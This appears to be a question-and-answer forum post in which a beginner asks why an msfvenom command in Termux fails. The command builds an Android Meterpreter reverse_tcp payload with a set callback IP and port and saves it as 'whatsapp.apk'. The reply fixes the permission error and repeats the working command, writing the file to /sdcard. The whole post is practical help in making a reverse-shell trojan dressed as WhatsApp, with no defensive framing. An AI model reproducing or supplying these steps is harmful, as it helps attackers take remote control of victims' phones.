I am trying to create metasploit payload using termux on my android phone. I am a beginner. I am giving the following command
msf > ruby msfvenom -p android/meterpreter/reverse_tcp LHOST=56.37.60.149 LPORT=4444 R> /storage/whatsapp.apk
(I am writing STORAGE as destinaion to save the APK file, as I dont have a sdcard. I have checked the setting in termux, where storage permission has been allowed.)
I am getting the following error:
[*] exec: ruby msfvenom -p android/meterpreter/reverse_tcp LHOST=56.37.60.149 LPORT=4444 R> /storage/whatsapp.apk
sh: 1: cannot create /storage/whatsapp.apk: Permission denied
This error is Caused by not having Superuser (Root) Permissions...instead of storage/WhatsApp.apk...
You have to understand Linux Filesystems to learn about permissions...you can use these commands to do what you wish to do...
First...to give termux access to Your Internal Storage...you'll have to use termux-setup-storage
and Allow Access to Files on Android 7+
Next... Run this Modified Command..
msf > ruby msfvenom -p android/meterpreter/reverse_tcp LHOST=56.37.60.149 LPORT=4444 R> /sdcard/whatsapp.apk